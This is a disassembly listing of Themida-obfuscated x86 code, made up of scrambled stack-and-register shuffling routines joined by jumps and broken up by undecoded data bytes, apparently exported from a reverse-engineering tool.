loc_553968:				; CODE XREF: Themida_:00564ECEj
		push	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_566862
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0D173D38h, 11090E9h
		db 0
; ---------------------------------------------------------------------------

loc_553981:				; CODE XREF: Themida_:00555A43j
		inc	byte ptr [esp]
		jmp	loc_563447
; ---------------------------------------------------------------------------

loc_553989:				; CODE XREF: Themida_:00554936j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bl, 0B6h
		mov	dh, 0D8h
		add	dh, bl
		jmp	loc_55F343
; ---------------------------------------------------------------------------
		dd 2024248Bh, 0E99C2404h, 0FFFFEE3Eh
; ---------------------------------------------------------------------------

loc_5539C0:				; CODE XREF: Themida_:00558B8Ej
		pop	bx
		push	ecx
		mov	ch, 2Eh
		sub	al, ch
		pop	ecx
		jmp	loc_55F23B
; ---------------------------------------------------------------------------
		db 0BBh, 84h, 29h
		dd 0DD011382h, 241C8B5Bh, 5504C483h, 42474FFh, 3454E95Dh
		dd 0C4830001h, 5AD32104h, 1B5AB951h, 0CB310E13h, 81240C8Bh
		dd 4C4h, 0EFE95300h
		db 0C6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_553A03:				; CODE XREF: Themida_:00561477j
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	90Bh
		mov	[esp], ebx
		push	ecx
		push	edx
		mov	edx, 55794EE1h
		push	ebx
		push	198510BDh
		pop	ebx
		neg	ebx
		xor	ebx, 0B83B8355h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_562A91
; ---------------------------------------------------------------------------

loc_553A48:				; CODE XREF: Themida_:005677DAj
		sub	ebx, esi
		pop	esi
		add	ebx, edx
		add	ebx, 24B535BCh
		jmp	loc_55987E
; ---------------------------------------------------------------------------

loc_553A58:				; CODE XREF: Themida_:0055F136j
		pop	ecx
		jmp	loc_55AA40
; ---------------------------------------------------------------------------

loc_553A5E:				; CODE XREF: Themida_:0055CBBEj
		xor	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_563BF9
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9243489h, 13DB1h
; ---------------------------------------------------------------------------

loc_553A7C:				; CODE XREF: Themida_:0055BA14j
		mov	esi, 50841506h
		or	edi, esi
		pop	esi
		or	edi, 794C04CDh
		xor	edi, 678D151Bh
		push	ecx
		jmp	loc_5663B7
; ---------------------------------------------------------------------------

loc_553A96:				; CODE XREF: Themida_:0055A576j
		add	ebx, eax
		pop	eax
		jmp	loc_55DF17
; ---------------------------------------------------------------------------
		dw 62B9h
		dd 4142FF4Dh, 0D7BE9h
		db 0
; ---------------------------------------------------------------------------

loc_553AA9:				; CODE XREF: Themida_:0055D325j
		sub	bl, 72h
		jmp	loc_55BAEE
; ---------------------------------------------------------------------------
		db 5Eh,	83h, 0C4h
		dd 24048F04h, 4139685Ch, 24890000h, 24048124h, 4, 8124048Fh
		dd 4ECh, 21DE900h, 0E6BA0001h, 0F76DB32Fh, 15EA81D2h, 1924CD0h
		dd 24148BD3h, 8304C483h, 0FF5302EBh, 5B042474h,	5C24048Fh
		dd 24148966h, 81E28952h, 4C2h, 4EA8300h, 10531E9h, 5FEC3500h
		dd 97E956CAh, 87000041h, 895C243Ch, 0C8BB241Ch,	0C1038958h
		dd 0F75304EBh, 99E92414h, 83000000h, 0C18104C4h, 4, 2BF57h
		dd 0E9810000h, 248B0427h, 4A7CBB53h, 0EBC17D33h, 51DBF704h
		dd 0CC54E9h, 71BD5500h,	8170584Eh, 7A2041C5h, 30ED813Ch
		dd 1A027F8h, 0D8C9E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553B6E:				; CODE XREF: Themida_:00565D55j
		pop	ebp
		push	1B04h
		jmp	loc_556ACC
; ---------------------------------------------------------------------------
		db 0B9h, 0C2h, 1Fh
		dd 0F1810D63h, 543E149Ah, 0D159CD31h, 68B850EDh, 217DF87Fh
		dd 0ED8158C5h, 0DB56D42Fh, 15DEE01h, 4AFBE9F5h,	0E95B0000h
		dd 17C1h, 40558h, 4050000h, 50000000h, 42474FFh, 5024048Bh
		dd 405E089h, 0E9000000h, 0F20Bh, 91C3815Bh, 1003895h, 0C7835BDFh
		dd 67E86802h, 3C890000h, 2474FF24h, 48F5F04h, 24248B24h
		dd 24048B66h, 52AB68h, 24348900h, 24348B54h, 5CB168h, 242C8900h
		dd 5EDDE954h, 815E0000h, 0A868ADCAh, 0E9555731h, 0F54h
; ---------------------------------------------------------------------------

loc_553C14:				; CODE XREF: Themida_:005582F5j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56404C
; ---------------------------------------------------------------------------
aI4Wssc		db '‰4$W鑿',0
		align 2
aI4H		db '‰4$h×&',0
		align 2
		dw 35E9h
		dd 89FFFFF2h, 4812424h,	424h, 2434FF00h, 483EE95Dh, 81460000h
		dd 52FCF7C6h, 0E2BD5590h, 45784344h, 0C02EE9h
		db 0
; ---------------------------------------------------------------------------

loc_553C69:				; CODE XREF: Themida_:0055F472j
		pop	edi
		mov	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 44640346h
		sub	ebp, 2BB07C86h
		jmp	loc_554D96
; ---------------------------------------------------------------------------

loc_553C86:				; CODE XREF: Themida_:0055BC03j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_555DB4
; ---------------------------------------------------------------------------

loc_553C9D:				; CODE XREF: Themida_:0055C359j
		push	ecx
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edi
		push	ebp
		push	5793h
		jmp	loc_55D455
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 0FFF1C3E9h, 57515BFFh, 0E245E9h
		db 0
; ---------------------------------------------------------------------------

loc_553CC5:				; CODE XREF: Themida_:0055D697j
		add	dword ptr [esp+8], 0DF34EE6h
		sub	[esp+8], edi
		sub	dword ptr [esp+8], 0DF34EE6h
		jmp	loc_552C61
; ---------------------------------------------------------------------------

loc_553CDE:				; CODE XREF: Themida_:00556E97j
		mov	bh, 6Eh
		add	ch, bh
		pop	ebx
		add	bl, ch
		push	dword ptr [esp]
		pop	ecx
		push	1ADDh
		jmp	loc_5571EB
; ---------------------------------------------------------------------------
		db 0F7h
		dd 7E5C1DDh, 330EF581h,	0EDC13130h, 0DBF58106h,	314EC135h
		dd 242C8BE9h, 5504C483h, 0AFC3E9h, 4C68100h, 81000000h
		dd 4EEh, 24348700h, 2069E95Ch, 555F0000h, 1CAE68h, 24148900h
		dd 0CF242C81h, 8B2D6979h, 8957242Ch, 4C781E7h, 0E9000000h
		dd 0FFFFF9DAh, 8124348Bh, 4C4h,	0E9535600h, 9612h, 0FC5EE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553D62:				; CODE XREF: Themida_:005547FBj
		pop	edx
		add	ecx, ebp
		pop	ebp
		add	[edx+30h], ecx
		pop	ecx
		sub	dword ptr [edx+30h], 0EEB542Ch
		not	dword ptr [edx+30h]
		push	502Ah
		mov	[esp], eax
		push	edi
		jmp	loc_55D0E5
; ---------------------------------------------------------------------------

loc_553D82:				; CODE XREF: Themida_:00563A18j
		and	ecx, 136A7BA4h
		push	esi
		mov	esi, 56D32393h
		sub	ecx, esi
		jmp	loc_55CF9A
; ---------------------------------------------------------------------------
		db 0BEh, 4Bh, 12h
		dd 0F6812E20h, 40386641h, 17DFEE81h, 0DEF75FD8h, 1118F681h
		dd 0E6815A87h, 4F3257D5h, 12C1F681h, 0F2010B30h, 2414875Eh
		dd 9BE9555Ch, 8F0000BFh, 0EA30E900h, 4BBEFFFFh,	810BE464h
		dd 64639C3h, 15BA5203h,	122D235h, 0F3295AD3h, 3515EB81h
		dd 0EB8122D2h, 3064639h, 8124348Bh, 4C4h, 4EC8100h, 89000000h
		dd 0B9240Ch, 55000000h,	787350BDh, 65E58116h, 0D13DFA6Eh
		dd 0FEC581EDh, 81010A7Bh, 0B9CE7AC5h, 5DE92947h, 0C181D901h
		dd 53007B98h, 0BB53h, 0CB010000h, 0E95B0303h, 0D2E3h, 48BC629h
		dd 4C48324h, 5C83BA52h,	14E94AE1h, 5EFFFFECh, 8B24048Fh
		dd 0B2E92424h, 5900003Eh, 5F7768h, 1AD0E900h
		db 1, 0
; ---------------------------------------------------------------------------

loc_553E66:				; CODE XREF: Themida_:005634CCj
		add	esp, 2
		add	bl, al
		add	bl, 84h
		jmp	loc_55946C
; ---------------------------------------------------------------------------

loc_553E76:				; CODE XREF: Themida_:0055E59Cj
		xor	esi, 0ACE3C4EFh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 37F70178h
		add	[esp+8], ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	4F9Dh
		mov	[esp], ebp
		mov	ebp, 35255B2Dh
		add	[esp+8], ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55A81B
; ---------------------------------------------------------------------------
		dd 0E935B753h, 2802h
; ---------------------------------------------------------------------------

loc_553EBC:				; CODE XREF: Themida_:0055DA1Ej
		add	esi, 4
		jmp	loc_55928C
; ---------------------------------------------------------------------------
		db 81h
		dd 0D063C5EEh, 81C6015Fh, 0D063C5C6h, 0E0C6815Fh, 8101D87Ch
		dd 1C267EEEh, 23B66855h, 34890000h, 0E0685124h,	59243C6Eh
		dd 5F07C981h, 7BE927BEh
		db 0C2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_553EFB:				; CODE XREF: Themida_:0055E392j
		pop	edi
		pop	eax
		not	eax
		xor	edi, eax
		xor	eax, edi
		xor	edi, eax
		add	edi, 5E487466h
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55ED6F
; ---------------------------------------------------------------------------
aBQzruhs	db '\êïzRuhS',27h,0
		dd 240C8900h, 32A2E9h
		db 0
; ---------------------------------------------------------------------------

loc_553F2D:				; CODE XREF: Themida_:00556C6Aj
		pop	esp
		jmp	loc_554496
; ---------------------------------------------------------------------------
		db 68h
		dd 65Ah, 68243C89h, 2, 0D2C2815Fh, 0E934E20Ch, 0BAFCh
; ---------------------------------------------------------------------------

loc_553F4C:				; CODE XREF: Themida_:00559295j
		pop	esp
		xor	ax, bx
		mov	bx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		jmp	loc_5653C9
; ---------------------------------------------------------------------------
		dd 8106EAC1h, 95729AC2h, 0A5D2E909h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553F6E:				; CODE XREF: Themida_:0055F3CAj
		mov	eax, 664D2F31h
		xor	eax, ebp
		jmp	loc_55A26A
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 89242C89h
		dd 4C581E5h, 83000000h,	2C8704C5h, 0CF015C24h, 0F553E9h
		dd 5EF08900h, 4E0AE9h, 24048700h, 6674E9h, 0EEC05B00h
		dd 0E9E6D002h, 7DBAh
; ---------------------------------------------------------------------------

loc_553FC4:				; CODE XREF: Themida_:005621C8j
		pop	esp
		mov	[esp], ecx
		jmp	loc_55FA55
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0C8010000h, 0A2F3E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553FDA:				; CODE XREF: Themida_:00555E7Fj
		pop	eax
		shl	ecx, 2
		and	ecx, 34037526h
		jmp	loc_561986
; ---------------------------------------------------------------------------
		db 0BFh, 0, 0Ah
		dd 0EA817A42h, 54857D82h, 0DCE9FA01h, 660000B4h, 5624048Bh
		dd 0E904EC83h, 129EEh, 0C181C129h, 7A975036h, 240C8758h
		dd 2434895Ch, 12578E9h,	0C1815E00h, 7F647EB6h, 0E981C129h
		dd 7F647EB6h, 40E9C889h, 8100005Eh, 0A07625C5h,	1FA6E94Dh
		db 1, 0
; ---------------------------------------------------------------------------

loc_55403E:				; CODE XREF: Themida_:00555B37j
		add	esp, 4
		push	ebx
		mov	ebx, 2BA743Eh
		jmp	loc_55629E
; ---------------------------------------------------------------------------
		db 83h
		dd 0B95104C4h, 2, 0C8BCA01h, 4C48124h, 33000000h, 44E92414h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55406B:				; CODE XREF: Themida_:0055CDF1j
		push	edi
		mov	edi, 7F0B08E0h
		dec	edi
		add	edi, 86EA3FAAh
		mov	ebx, edi
		mov	edi, [esp]
		jmp	loc_565A66
; ---------------------------------------------------------------------------

loc_554082:				; CODE XREF: Themida_:0055A9E3j
		mov	ebp, 59540569h
		add	ebp, 0FFFFFFFFh
		add	ebp, 0A6ABFA9Ch
		jmp	loc_55E8B5
; ---------------------------------------------------------------------------

loc_554098:				; CODE XREF: Themida_:005657F0j
		xor	edi, ecx
		jmp	loc_55DB46
; ---------------------------------------------------------------------------
		db 0BFh
		dd 720E751Bh, 875FFE21h, 0E9FEh, 0D7F70000h, 0C681FE87h
		dd 65EE63F8h, 23D4C681h, 0F2095FEEh, 5324348Bh,	431F68h
		dd 24248900h, 4240481h,	5B000000h, 19E95552h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5540DB:				; CODE XREF: Themida_:0055555Fj
		mov	bx, [esp]
		jmp	loc_557952
; ---------------------------------------------------------------------------
		dd 685FFB01h, 5152h, 0E9243489h, 0DDBEh
; ---------------------------------------------------------------------------

loc_5540F4:				; CODE XREF: Themida_:0056327Cj
		shl	edx, 8
		jmp	loc_567257
; ---------------------------------------------------------------------------
		dd 81D2F74Ah, 0E748F8EAh, 3EAC158h, 8C68E2D1h, 8900004Ch
		dd 0ABB241Ch, 814C3966h, 0F4340EC3h, 2EBC165h, 6D3FBE56h
		dd 8AE9232Ah, 81000000h, 801CF4C2h, 0E5EA815Eh,	1211943h
		dd 0B95153C2h, 4F8C0AB5h, 4EC8141h, 0E9000000h,	131E8h
; ---------------------------------------------------------------------------

loc_55414C:				; CODE XREF: Themida_:0055DD45j
		push	7F9Ch
		mov	[esp], ebx
		mov	ebx, 1231650h
		and	ebx, 7A9A24CBh
		push	0
		add	dword ptr [esp], 30285D4Bh
		jmp	loc_563DDD
; ---------------------------------------------------------------------------

loc_554170:				; CODE XREF: Themida_:00565A6Bj
		push	esi
		mov	esi, 5ED01EC3h
		sub	[esp+4], esi
		pop	esi
		pop	ebp
		add	ebp, 5ED01EC3h
		jmp	loc_56633A
; ---------------------------------------------------------------------------

loc_554187:				; CODE XREF: Themida_:0055848Fj
		pop	edi
		dec	eax
		push	ebp
		mov	ebp, 0BB0474Fh
		xor	ebp, 63D159F0h
		jmp	loc_55FA06
; ---------------------------------------------------------------------------

loc_55419A:				; CODE XREF: Themida_:005627F2j
		add	esp, 4
		push	ebp
		push	6C58h
		mov	[esp], eax
		push	esi
		add	dword ptr [esp], 5BE74574h
		pop	eax
		push	edi
		jmp	loc_559D36
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 38h
		dd 21567318h, 0EE815AD6h, 0F8699092h, 1447CE81h, 0CE817295h
		dd 50AD174Ch, 23CEF681h, 814E0AB3h, 5017B5F6h, 8BF30115h
		dd 0C4812434h, 4, 98C9C381h, 0DA31959Fh, 5AD6895Bh, 0E956DEF7h
		dd 223Dh, 524968h, 241C8900h, 128C3E9h,	0C2815A00h, 4
		dd 2A3068h, 240C8900h, 4B9h, 0D4C28100h, 12B6661h, 0D4EA81CAh
		dd 0E92B6661h, 5432h, 8105E6C1h, 0DF7E9AF6h, 5920052Ch
		dd 0F00128E0h, 0E059202Dh, 5F08E928h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55424A:				; CODE XREF: Themida_:0055CF95j
		pop	edx
		xchg	ecx, edx
		push	ebp
		push	edi
		mov	edi, 3A215CFh
		mov	ebp, 0FC5DEA30h
		xor	ebp, edi
		pop	edi
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, edx
		xchg	eax, edx
		or	eax, 7FD25B0Fh
		jmp	loc_55F454
; ---------------------------------------------------------------------------

loc_55426C:				; CODE XREF: Themida_:0055970Aj
		mov	esp, [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		push	ebp
		push	2A034D31h
		pop	ebp
		push	ecx
		mov	ecx, 3B3C1CFDh
		xor	ecx, 531D093Eh
		xor	ebp, ecx
		jmp	loc_56646D
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 55h
		dd 1F7AE5BDh, 53F5817Eh, 0C137587Bh, 0D5F706E5h, 7D6DC581h
		dd 5DE9ADC1h, 0BA000050h, 3D9738A1h, 2FAFF281h,	0EC831DBCh
		dd 242C8904h, 2B3F4EBDh, 0F5814504h, 41054A47h,	4CB9ED81h
		dd 0EA090F6Dh, 87EA815Dh, 81B6CB2Fh, 0D25806C3h, 81D32955h
		dd 0D25806EBh, 34FF5A55h, 0E7E95824h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5542EF:				; CODE XREF: Themida_:0055F110j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	esi
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_561238
; ---------------------------------------------------------------------------
		db 51h
		dd 0B1F9B353h, 5BD928DDh, 0E980C9FEh, 0D9C180F8h, 0E998EB80h
		dd 109F0h, 3FF9EF81h, 0F7815DDDh, 67063A95h, 0E0C2E951h
		dd 0BD550000h, 4, 7499E9h, 0B30F6600h, 0E99C2404h, 0FFFFE4AEh
		dd 0C800C5B1h, 52665966h, 0AD08E9h
		db 0
; ---------------------------------------------------------------------------

loc_55435D:				; CODE XREF: Themida_:00556AC7j
		xor	dl, bl
		jmp	loc_559F7D
; ---------------------------------------------------------------------------
		dd 8904EC83h, 25B82404h, 50570C01h, 0F7243C87h,	243C87D7h
		dd 1171BE9h, 1C77FF00h,	8B2434FFh, 0C4832404h, 35636804h
		dd 34890000h, 892EE924h, 14870000h, 48F5C24h, 24248B24h
		dd 772EE9h, 4C48300h, 0E9241C33h, 6F9Ch
; ---------------------------------------------------------------------------

loc_5543B0:				; CODE XREF: Themida_:0055925Aj
		mov	ecx, 176478CEh
		sub	[esp+8], ecx
		jmp	loc_556B15
; ---------------------------------------------------------------------------
a13Hpq		db '1<$3<$\hpq',0
		align 2
		dw 0A8E9h
		dd 5C0000F4h, 2474FF50h, 48F5804h, 24248B24h, 0E68F9F7h
		dd 89000049h, 9C502414h, 0FFE411E9h, 24048FFFh,	11A2FE9h
		dd 55232500h, 0E6252EB8h, 0D52D73Fh, 417F1B1Ch,	7C35D0F7h
		dd 29F57280h, 0F1AFE9C2h, 0E95DFFFFh, 0FFFFE3E6h, 0F381DBF7h
		dd 4CBC450Ah, 8539F381h, 0DF01DEB4h, 96B2E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55442E:				; CODE XREF: Themida_:0055884Ej
		inc	ebp
		add	ebp, 0E248B913h
		mov	ecx, ebp
		pop	ebp
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		sub	esp, 4
		jmp	loc_56524E
; ---------------------------------------------------------------------------
		dd 4C481h, 0C3810000h, 536B7CA2h, 49E9008Fh, 5B0000CFh
		dd 0B951C601h, 4F9A1049h, 8B59CE29h, 11E92404h,	88000052h
		dd 3B05E9F4h, 4890000h,	0E05BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554496:				; CODE XREF: Themida_:00553F2Ej
		mov	[esp], esi
		mov	esi, 482F70B9h
		add	ebp, esi
		pop	esi
		sub	ebp, 1F805AFh
		push	ebp
		dec	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 354A1C47h
		add	eax, 1BCC4208h
		push	esi
		mov	esi, 4C890DA4h
		add	eax, esi
		pop	esi
		sub	eax, ebp
		sub	eax, 4C890DA4h
		sub	eax, 1BCC4208h
		jmp	loc_567161
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 24048F04h, 12BA3E9h,	4C48300h, 0E9242C33h, 7DEEh
; ---------------------------------------------------------------------------

loc_5544EC:				; CODE XREF: Themida_:00562B34j
		sub	dword ptr [esp+4], 658130F2h
		jmp	loc_554F7F
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0A6h
		dd 0E9D49643h, 0D2F4h, 8B243487h, 0C1382424h, 0E2ECE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554512:				; CODE XREF: Themida_:0055AA4Bj
		xor	bh, 12h
		and	bh, 0F6h
		add	bh, 2
		or	dl, bh
		pop	ebx
		push	ecx
		jmp	loc_56464F
; ---------------------------------------------------------------------------

loc_554524:				; CODE XREF: Themida_:0055D191j
		sub	bl, al
		add	bl, 0Eh
		sub	bl, 0CBh
		push	edx
		jmp	loc_55E11D
; ---------------------------------------------------------------------------

loc_554532:				; CODE XREF: Themida_:00553699j
		pop	eax
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55EB6B
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4C4h, 6ECF6800h, 4890000h, 4EC8324h,	55243489h, 10CFB951h
		dd 0C1816797h, 86C290Eh, 0F759CD89h, 0E9DDF7D5h, 8FF5h
; ---------------------------------------------------------------------------

loc_55456C:				; CODE XREF: Themida_:00557B56j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_559E7B
; ---------------------------------------------------------------------------
		db 2Dh
		dd 12E63633h, 5A77E9h
		db 0
; ---------------------------------------------------------------------------

loc_554581:				; CODE XREF: Themida_:00552C81j
		mov	edx, 0A430153h
		or	edx, 0F9F1C60h
		not	edx
		sub	edx, 0F020E288h
		mov	esi, edx
		mov	edx, [esp]
		push	ebx
		jmp	loc_562848
; ---------------------------------------------------------------------------
		db 59h
		dd 3A53E181h, 0E9416E8Dh, 11A79h, 562CA734h, 71E9D0F6h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5545B7:				; CODE XREF: Themida_:005630F7j
		add	eax, 3825A44h
		push	ecx
		mov	ecx, 55E61662h
		and	eax, ecx
		jmp	loc_55D8A6
; ---------------------------------------------------------------------------

loc_5545C9:				; CODE XREF: Themida_:0056681Fj
		pop	edi
		mov	eax, edx
		pop	edx
		dec	eax
		and	eax, 539C36C1h
		neg	eax
		push	ebx
		jmp	loc_557843
; ---------------------------------------------------------------------------

loc_5545DB:				; CODE XREF: Themida_:0055A1C9j
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	1643h
		mov	[esp], ebx
		mov	ebx, 529069D4h
		sub	ecx, ebx
		pop	ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		rep movsd
		add	esp, [edx+38h]
		push	2A90h
		jmp	loc_560B70
; ---------------------------------------------------------------------------

loc_554619:				; CODE XREF: Themida_:00555BB7j
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 21F3556h
		mov	ecx, ebx
		pop	ebx
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_552B35
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4160E904h, 0EAC00000h, 80C2FE07h, 51534EC2h,	0C89B050h
		dd 605EE998h, 248B0000h, 24148924h, 7828FD68h, 0D3295A42h
		dd 5A2434FFh, 4C481h, 0EB810000h, 8C0707Fh, 302AE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554682:				; CODE XREF: Themida_:00562104j
		pop	ebx
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	9B8h
		mov	[esp], edx
		push	4755h
		push	esp
		jmp	loc_556053
; ---------------------------------------------------------------------------
		dd 0E2E28142h, 68176572h, 75BBh, 0BF243C89h, 51F409C9h
		dd 0EC81D7F7h, 4, 0BA241489h, 9A37BB4Bh, 0FBE9D731h, 210000A5h
		dd 0A86CE9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5546CE:				; CODE XREF: Themida_:00565D41j
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	41E5h
		mov	[esp], edx
		push	5Bh
		mov	[esp], ebp
		mov	ebp, 56F3051Eh
		jmp	loc_55CED9
; ---------------------------------------------------------------------------

loc_5546F3:				; CODE XREF: Themida_:0055D467j
		mov	ebp, 0FFFFFFFFh
		jmp	loc_55D7E8
; ---------------------------------------------------------------------------

loc_5546FD:				; CODE XREF: Themida_:0055568Ej
		xchg	ebp, [esp]
		pop	esp
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	eax
		jmp	loc_55E0CD
; ---------------------------------------------------------------------------

loc_55470D:				; CODE XREF: Themida_:00559103j
		mov	[esp], ebx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		push	esi
		jmp	loc_560933
; ---------------------------------------------------------------------------

loc_55471F:				; CODE XREF: Themida_:005679EBj
		add	esp, 4
		jmp	loc_5606DD
; ---------------------------------------------------------------------------
		db 81h
		dd 4EEh, 24348700h, 0FFFF29E9h,	5BD889FFh, 43E9C101h, 66000062h
		dd 5024048Bh, 0BA52E089h, 400F5D53h, 0F703E2C1h, 0E28952D2h
		dd 4C281h, 0EA830000h, 24148704h, 0E77AE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554766:				; CODE XREF: Themida_:0055D931j
		add	eax, 77414E41h
		add	eax, 61FC6F4Ah
		add	eax, ebx
		sub	eax, 61FC6F4Ah
		sub	eax, 77414E41h
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	eax, 10h
		xor	eax, ecx
		xchg	eax, ebx
		jmp	loc_560BFD
; ---------------------------------------------------------------------------

loc_55478E:				; CODE XREF: Themida_:00564854j
		mov	ecx, [eax]
		pop	eax
		push	2E59h
		mov	[esp], esi
		jmp	loc_55C35E
; ---------------------------------------------------------------------------

loc_55479E:				; CODE XREF: Themida_:00552F4Cj
		inc	ebp
		push	0
		sub	[esp], ebp
		pop	ebp
		sub	ebp, 38B26EE8h
		xor	ebp, 5C7F7E55h
		sub	esp, 4
		jmp	loc_565727
; ---------------------------------------------------------------------------

loc_5547BF:				; CODE XREF: Themida_:005611C1j
		mov	eax, [esp]
		jmp	loc_558663
; ---------------------------------------------------------------------------

loc_5547C7:				; CODE XREF: Themida_:0055741Fj
		sub	edi, 3DE74AF7h
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		mov	dword ptr [edx+30h], 62804F39h
		push	ecx
		push	ebp
		mov	ebp, 45866828h
		push	edx
		mov	edx, 69A33E64h
		mov	ecx, 4D3733BDh
		add	ecx, 4CDE035Fh
		sub	ecx, edx
		sub	ecx, 4CDE035Fh
		jmp	loc_553D62
; ---------------------------------------------------------------------------

loc_554800:				; CODE XREF: Themida_:005615B9j
		shr	ebp, 4
		xor	ebp, 755BAD21h
		jmp	loc_55CBC3
; ---------------------------------------------------------------------------

loc_55480E:				; CODE XREF: Themida_:00553445j
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esi, 4
		jmp	loc_559876
; ---------------------------------------------------------------------------
		dd 0C104E9C1h, 0E9C103E1h, 0CABBE902h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554832:				; CODE XREF: Themida_:00554C11j
		mov	al, ch
		pop	ecx
		jmp	loc_5534B5
; ---------------------------------------------------------------------------
		dw 1489h
		dd 6AE95524h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_554843:				; CODE XREF: Themida_:00554A58j
		pop	edx
		pop	ebp
		neg	ebx
		and	ebx, 20D47748h
		xor	ebx, 542B0693h
		shr	ebx, 4
		shr	ebx, 5
		jmp	loc_55E13E
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815F24h, 4, 348BF221h, 4C48124h, 0D1000000h, 0BB534AEAh
		dd 7E080A24h, 0C102E3C1h, 0C38108E3h, 0B4C76AFDh, 5FE9DA01h
		dd 530000B3h, 5A50BABBh, 20CB8144h, 81135B27h, 0EF325EE3h
		dd 0D2C0E95Ah, 0E6C00000h, 4F68006h, 8725E9h, 24348900h
		dd 7C7E57BEh, 5EF5011Ah, 92E9EA29h, 5700009Eh, 0EE57E950h
		dd 0EB810000h, 4, 31241C33h, 1C33241Ch,	34895C24h, 81E68924h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0B5BA2414h, 5714F169h
		dd 0F11ADABFh, 1FF78179h, 0E94C4169h, 5DBFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55A243
; ---------------------------------------------------------------------------
		dd 7F67E5BFh, 14DAE923h, 0C6810001h, 4,	2B951h,	0CE010000h
		dd 60766859h, 3BE90000h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_554933:				; CODE XREF: Themida_:00566B94j
		sub	ecx, 4
		jmp	loc_553989
; ---------------------------------------------------------------------------

loc_55493B:				; CODE XREF: Themida_:0055AE0Aj
		xor	ecx, [esp]
		mov	esp, [esp]
		add	esp, 4
		xor	[esp], eax
		jmp	loc_5527FE
